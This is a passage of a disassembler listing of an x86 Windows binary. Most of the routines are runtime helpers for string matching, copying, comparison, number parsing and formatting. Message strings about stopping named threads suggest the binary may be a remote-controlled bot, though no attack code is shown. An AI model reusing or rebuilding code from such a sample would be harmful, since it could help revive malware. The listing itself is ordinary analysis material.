cmp ecx, offset dword_46ABB8
jl short loc_415023
retn
sub_41501C endp
; =============== S U B R O U T I N E =======================================
sub_41503B proc near ; CODE XREF: sub_40CD3A+508Ap
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_4416C8
push esi
loc_415045: ; CODE XREF: sub_41503B+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_41505E
add ecx, 234h
inc edx
cmp ecx, offset dword_46ABB8
jl short loc_415045
pop esi
retn
; ---------------------------------------------------------------------------
loc_41505E: ; CODE XREF: sub_41503B+10j
mov eax, edx
pop esi
retn
sub_41503B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415062 proc near ; CODE XREF: sub_40CD3A+5797p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_41507B
push [ebp+arg_1C]
call sub_41587F
pop ecx
loc_41507B: ; CODE XREF: sub_415062+Ej
push eax
push [ebp+arg_18]
call sub_414FCF
pop ecx
test eax, eax
pop ecx
jle short loc_4150A7
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_415316
add esp, 14h
jmp short loc_4150C1
; ---------------------------------------------------------------------------
loc_4150A7: ; CODE XREF: sub_415062+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_415316
add esp, 10h
loc_4150C1: ; CODE XREF: sub_415062+43j
cmp [ebp+arg_C], 0
jnz short loc_4150E1
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4150E1: ; CODE XREF: sub_415062+63j
lea eax, [ebp+var_200]
push eax
call sub_40B078
pop ecx
leave
retn
sub_415062 endp
; =============== S U B R O U T I N E =======================================
sub_4150F0 proc near ; CODE XREF: sub_401000+A2p
; sub_401444+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_4416DC[eax], ecx
mov dword_4416C8[eax], ecx
mov dword_4416CC[eax], ecx
mov dword_4416D0[eax], ecx
mov dword_4416D4[eax], ecx
mov dword_4416D8[eax], ecx
mov byte ptr dword_4414C8[eax], cl
mov byte_4416E0[eax], cl
retn
sub_4150F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41512D proc near ; CODE XREF: sub_40CD3A+5B9Bp
; sub_415255+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_41518F
; ---------------------------------------------------------------------------
loc_415139: ; CODE XREF: sub_41512D+66j
cmp eax, 1
jnz short loc_4151A0
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_4151A0
cmp cl, 2Ah
jz short loc_415178
cmp cl, 3Fh
jz short loc_41515D
cmp cl, 5Bh
jz short loc_415162
xor eax, eax
cmp cl, dl
setz al
loc_41515D: ; CODE XREF: sub_41512D+22j
inc [ebp+arg_4]
jmp short loc_41518B
; ---------------------------------------------------------------------------
loc_415162: ; CODE XREF: sub_41512D+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_4151C1
mov esi, [ebp+arg_0]
jmp short loc_415189
; ---------------------------------------------------------------------------
loc_415178: ; CODE XREF: sub_41512D+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_415255
mov esi, [ebp+arg_0]
dec esi
loc_415189: ; CODE XREF: sub_41512D+49j
pop ecx
pop ecx
loc_41518B: ; CODE XREF: sub_41512D+33j
inc esi
mov [ebp+arg_0], esi
loc_41518F: ; CODE XREF: sub_41512D+Aj
mov cl, [esi]
test cl, cl
jnz short loc_415139
jmp short loc_4151A0
; ---------------------------------------------------------------------------
loc_415197: ; CODE XREF: sub_41512D+76j
cmp eax, 1
jnz short loc_4151BC
inc esi
mov [ebp+arg_0], esi
loc_4151A0: ; CODE XREF: sub_41512D+Fj
; sub_41512D+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_415197
cmp eax, 1
jnz short loc_4151BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_4151BC
cmp byte ptr [esi], 0
jnz short loc_4151BC
xor eax, eax
inc eax
jmp short loc_4151BE
; ---------------------------------------------------------------------------
loc_4151BC: ; CODE XREF: sub_41512D+6Dj
; sub_41512D+7Bj ...
xor eax, eax
loc_4151BE: ; CODE XREF: sub_41512D+8Dj
pop esi
pop ebp
retn
sub_41512D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151C1 proc near ; CODE XREF: sub_41512D+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_4151E2
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_4151E2: ; CODE XREF: sub_4151C1+19j
push ebx
push esi
loc_4151E4: ; CODE XREF: sub_4151C1+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_4151F2
cmp [ebp+var_4], eax
jnz short loc_41523A
loc_4151F2: ; CODE XREF: sub_4151C1+2Aj
test edi, edi
jnz short loc_41522F
cmp bl, 2Dh
jnz short loc_415223
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_415223
cmp al, 5Dh
jz short loc_415223
cmp [ebp+var_4], edi
jnz short loc_415223
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_41522F
cmp bl, al
jg short loc_41522F
mov [edx], esi
jmp short loc_41522C
; ---------------------------------------------------------------------------
loc_415223: ; CODE XREF: sub_4151C1+38j
; sub_4151C1+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_41522F
loc_41522C: ; CODE XREF: sub_4151C1+60j
xor edi, edi
inc edi
loc_41522F: ; CODE XREF: sub_4151C1+33j
; sub_4151C1+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_4151E4
; ---------------------------------------------------------------------------
loc_41523A: ; CODE XREF: sub_4151C1+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_415247
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_415247: ; CODE XREF: sub_4151C1+7Ej
cmp edi, eax
jnz short loc_415250
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_415250: ; CODE XREF: sub_4151C1+88j
mov eax, edi
pop edi
leave
retn
sub_4151C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415255 proc near ; CODE XREF: sub_41512D+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_415285
; ---------------------------------------------------------------------------
loc_41526F: ; CODE XREF: sub_415255+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_415280
cmp dl, 2Ah
jnz short loc_415292
cmp dl, 3Fh
jnz short loc_415283
loc_415280: ; CODE XREF: sub_415255+1Fj
inc ecx
mov [edi], ecx
loc_415283: ; CODE XREF: sub_415255+29j
inc dword ptr [esi]
loc_415285: ; CODE XREF: sub_415255+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_41526F
jmp short loc_415292
; ---------------------------------------------------------------------------
loc_41528F: ; CODE XREF: sub_415255+40j
inc eax
mov [esi], eax
loc_415292: ; CODE XREF: sub_415255+24j
; sub_415255+38j
cmp byte ptr [eax], 2Ah
jz short loc_41528F
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_4152B4
cmp [eax], bl
jz short loc_4152A7
xor eax, eax
jmp short loc_415311
; ---------------------------------------------------------------------------
loc_4152A7: ; CODE XREF: sub_415255+4Cj
cmp dl, bl
jnz short loc_4152B4
cmp [eax], bl
jnz short loc_4152B4
xor eax, eax
inc eax
jmp short loc_415311
; ---------------------------------------------------------------------------
loc_4152B4: ; CODE XREF: sub_415255+48j
; sub_415255+54j ...
push ecx
push eax
call sub_41512D
pop ecx
test eax, eax
pop ecx
jnz short loc_4152FB
loc_4152C1: ; CODE XREF: sub_415255+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_4152D3
; ---------------------------------------------------------------------------
loc_4152C7: ; CODE XREF: sub_415255+86j
cmp cl, 5Bh
jz short loc_4152DD
cmp dl, bl
jz short loc_4152DD
inc eax
mov [edi], eax
loc_4152D3: ; CODE XREF: sub_415255+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_4152C7
loc_4152DD: ; CODE XREF: sub_415255+75j
; sub_415255+79j
cmp [eax], bl
jz short loc_4152F2
push eax
push dword ptr [esi]
call sub_41512D
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4152F7
; ---------------------------------------------------------------------------
loc_4152F2: ; CODE XREF: sub_415255+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_4152F7: ; CODE XREF: sub_415255+9Bj
cmp eax, ebx
jnz short loc_4152C1
loc_4152FB: ; CODE XREF: sub_415255+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_41530E
mov eax, [esi]
cmp [eax], bl
jnz short loc_41530E
mov [ebp+var_4], 1
loc_41530E: ; CODE XREF: sub_415255+AAj
; sub_415255+B0j
mov eax, [ebp+var_4]
loc_415311: ; CODE XREF: sub_415255+50j
; sub_415255+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_415255 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415316 proc near ; CODE XREF: sub_401000+61p
; sub_4010B2+320p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_417D6C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_415356
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_415363
; ---------------------------------------------------------------------------
loc_415356: ; CODE XREF: sub_415316+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C57
pop ecx
pop ecx
loc_415363: ; CODE XREF: sub_415316+3Ej
mov eax, esi
pop esi
leave
retn
sub_415316 endp
; =============== S U B R O U T I N E =======================================
sub_415368 proc near ; CODE XREF: sub_401000+2Ep
; sub_401BD4+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_437ED4, eax
retn
sub_415368 endp
; =============== S U B R O U T I N E =======================================
sub_415372 proc near ; CODE XREF: sub_4010B2+CBp
; sub_4010B2+13Fp ...
mov eax, dword_437ED4
imul eax, 343FDh
add eax, 269EC3h
mov dword_437ED4, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_415372 endp
; =============== S U B R O U T I N E =======================================
sub_415390 proc near ; CODE XREF: sub_4010B2+281p
; sub_401444+180p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4153E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4153D7
neg ecx
and ecx, 3
jz short loc_4153B9
sub edx, ecx
loc_4153B3: ; CODE XREF: sub_415390+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4153B3
loc_4153B9: ; CODE XREF: sub_415390+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4153D7
rep stosd
test edx, edx
jz short loc_4153DD
loc_4153D7: ; CODE XREF: sub_415390+18j
; sub_415390+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4153D7
loc_4153DD: ; CODE XREF: sub_415390+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4153E3: ; CODE XREF: sub_415390+Aj
mov eax, [esp+arg_0]
retn
sub_415390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153F0 proc near ; CODE XREF: sub_4010B2+22Dp
; sub_4010B2+23Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_415410
cmp edi, eax
jb loc_415588
loc_415410: ; CODE XREF: sub_4153F0+16j
test edi, 3
jnz short loc_41542C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41544C
rep movsd
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
loc_41542C: ; CODE XREF: sub_4153F0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_415444
and eax, 3
add ecx, eax
jmp dword ptr loc_41544C+4[eax*4]
; ---------------------------------------------------------------------------
loc_415444: ; CODE XREF: sub_4153F0+46j
jmp dword ptr loc_415548[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41544C: ; CODE XREF: sub_4153F0+31j
; sub_4153F0+8Ej ...
jmp off_4154CC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415460
dd offset loc_41548C
dd offset loc_4154B0
; ---------------------------------------------------------------------------
loc_415460: ; DATA XREF: sub_4153F0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41544C
rep movsd
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41548C: ; DATA XREF: sub_4153F0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41544C
rep movsd
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4154B0: ; DATA XREF: sub_4153F0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41544C
rep movsd
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4154CC dd offset loc_41552F ; DATA XREF: sub_4153F0:loc_41544Cr
dd offset loc_41551C
dd offset loc_415514
dd offset loc_41550C
dd offset loc_415504
dd offset loc_4154FC
dd offset loc_4154F4
dd offset loc_4154EC
; ---------------------------------------------------------------------------
loc_4154EC: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4154F4: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4154FC: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_415504: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41550C: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_415514: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41551C: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41552F: ; CODE XREF: sub_4153F0:loc_41544Cj
; DATA XREF: sub_4153F0:off_4154CCo
jmp off_415538[edx*4]
; ---------------------------------------------------------------------------
align 4
off_415538 dd offset loc_415548 ; DATA XREF: sub_4153F0+35r
; sub_4153F0+92r ...
dd offset loc_415550
dd offset loc_41555C
dd offset loc_415570
; ---------------------------------------------------------------------------
loc_415548: ; CODE XREF: sub_4153F0+35j
; sub_4153F0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415550: ; CODE XREF: sub_4153F0+35j
; sub_4153F0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41555C: ; CODE XREF: sub_4153F0+35j
; sub_4153F0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415570: ; CODE XREF: sub_4153F0+35j
; sub_4153F0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_415588: ; CODE XREF: sub_4153F0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_4155BC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4155B0
std
rep movsd
cld
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4155B0: ; CODE XREF: sub_4153F0+1B1j
; sub_4153F0+208j ...
neg ecx
jmp off_415680[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4155BC: ; CODE XREF: sub_4153F0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4155D4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4155D4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4155D4: ; CODE XREF: sub_4153F0+1D6j
; DATA XREF: sub_4153F0+1DDr
jmp off_4156D0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4155E7+1
; ---------------------------------------------------------------------------
or [esi+41h], dl
add [eax], dh
push esi
inc ecx
loc_4155E7: ; DATA XREF: sub_4153F0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_4155B0
std
rep movsd
cld
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_4155B0
std
rep movsd
cld
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_4155B0
std
rep movsd
cld
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415684
dd offset loc_41568C
dd offset loc_415694
dd offset loc_41569C
dd offset loc_4156A4
dd offset loc_4156AC
dd offset loc_4156B4
off_415680 dd offset loc_4156C7 ; DATA XREF: sub_4153F0+1C2r
; ---------------------------------------------------------------------------
loc_415684: ; DATA XREF: sub_4153F0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41568C: ; DATA XREF: sub_4153F0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_415694: ; DATA XREF: sub_4153F0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41569C: ; DATA XREF: sub_4153F0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_4156A4: ; DATA XREF: sub_4153F0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_4156AC: ; DATA XREF: sub_4153F0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_4156B4: ; DATA XREF: sub_4153F0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4156C7: ; CODE XREF: sub_4153F0+1C2j
; DATA XREF: sub_4153F0:off_415680o
jmp off_4156D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4156D0 dd offset loc_4156E0 ; DATA XREF: sub_4153F0+1B7r
; sub_4153F0:loc_4155D4r ...
dd offset loc_4156E8
dd offset loc_4156F8
dd offset loc_41570C
; ---------------------------------------------------------------------------
loc_4156E0: ; CODE XREF: sub_4153F0+1B7j
; sub_4153F0:loc_4155D4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4156E8: ; CODE XREF: sub_4153F0+1B7j
; sub_4153F0:loc_4155D4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4156F8: ; CODE XREF: sub_4153F0+1B7j
; sub_4153F0:loc_4155D4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41570C: ; CODE XREF: sub_4153F0+1B7j
; sub_4153F0:loc_4155D4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4153F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415730 proc near ; CODE XREF: sub_4010B2+FCp
; sub_4010B2+118p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41577C
loc_415740: ; CODE XREF: sub_415730+3Cj
; sub_415730+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_415774
or al, al
jz short loc_415770
cmp ah, [ecx+1]
jnz short loc_415774
or ah, ah
jz short loc_415770
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_415774
or al, al
jz short loc_415770
cmp ah, [ecx+3]
jnz short loc_415774
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_415740
mov edi, edi
loc_415770: ; CODE XREF: sub_415730+18j
; sub_415730+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_415774: ; CODE XREF: sub_415730+14j
; sub_415730+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41577C: ; CODE XREF: sub_415730+Ej
test edx, 1
jz short loc_415798
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_415774
inc ecx
or al, al
jz short loc_415770
test edx, 2
jz short loc_415740
loc_415798: ; CODE XREF: sub_415730+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_415774
or al, al
jz short loc_415770
cmp ah, [ecx+1]
jnz short loc_415774
or ah, ah
jz short loc_415770
add ecx, 2
jmp short loc_415740
sub_415730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4157C0 proc near ; CODE XREF: sub_4010B2+19Ep
; sub_4018CB+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_4157D9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4157D9: ; CODE XREF: sub_4157C0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_4157C0 endp
; =============== S U B R O U T I N E =======================================
sub_4157F4 proc near ; CODE XREF: sub_41587F+4p
; sub_41EA02+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_4157FC: ; CODE XREF: sub_4157F4+34j
cmp dword_43812C, 1
jle short loc_415814
movzx eax, byte ptr [edi]
push 8
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_415823
; ---------------------------------------------------------------------------
loc_415814: ; CODE XREF: sub_4157F4+Fj
movzx eax, byte ptr [edi]
mov ecx, off_437F20
mov al, [ecx+eax*2]
and eax, 8
loc_415823: ; CODE XREF: sub_4157F4+1Ej
test eax, eax
jz short loc_41582A
inc edi
jmp short loc_4157FC
; ---------------------------------------------------------------------------
loc_41582A: ; CODE XREF: sub_4157F4+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41583A
cmp esi, 2Bh
jnz short loc_41583E
loc_41583A: ; CODE XREF: sub_4157F4+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41583E: ; CODE XREF: sub_4157F4+44j
xor ebx, ebx
loc_415840: ; CODE XREF: sub_4157F4+7Bj
cmp dword_43812C, 1
jle short loc_415855
push 4
push esi
call sub_418576
pop ecx
pop ecx
jmp short loc_415860
; ---------------------------------------------------------------------------
loc_415855: ; CODE XREF: sub_4157F4+53j
mov eax, off_437F20
mov al, [eax+esi*2]
and eax, 4
loc_415860: ; CODE XREF: sub_4157F4+5Fj
test eax, eax
jz short loc_415871
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_415840
; ---------------------------------------------------------------------------
loc_415871: ; CODE XREF: sub_4157F4+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41587A
neg eax
loc_41587A: ; CODE XREF: sub_4157F4+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4157F4 endp
; =============== S U B R O U T I N E =======================================
sub_41587F proc near ; CODE XREF: sub_4013E8+12p
; sub_4013E8+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4157F4
pop ecx
retn
sub_41587F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41588A proc near ; CODE XREF: sub_401444+3A1p
; sub_401BD4+4F5p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_417D6C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4158C9
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4158D6
; ---------------------------------------------------------------------------
loc_4158C9: ; CODE XREF: sub_41588A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C57
pop ecx
pop ecx
loc_4158D6: ; CODE XREF: sub_41588A+3Dj
mov eax, esi
pop esi
leave
retn
sub_41588A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4158E0 proc near ; CODE XREF: sub_401BD4+2C3p
; sub_401BD4+2E3p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41595A
mov dh, [ecx+1]
test dh, dh
jz short loc_415947
loc_4158F8: ; CODE XREF: sub_4158E0+52j
; sub_4158E0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41591A
test al, al
jz short loc_415914
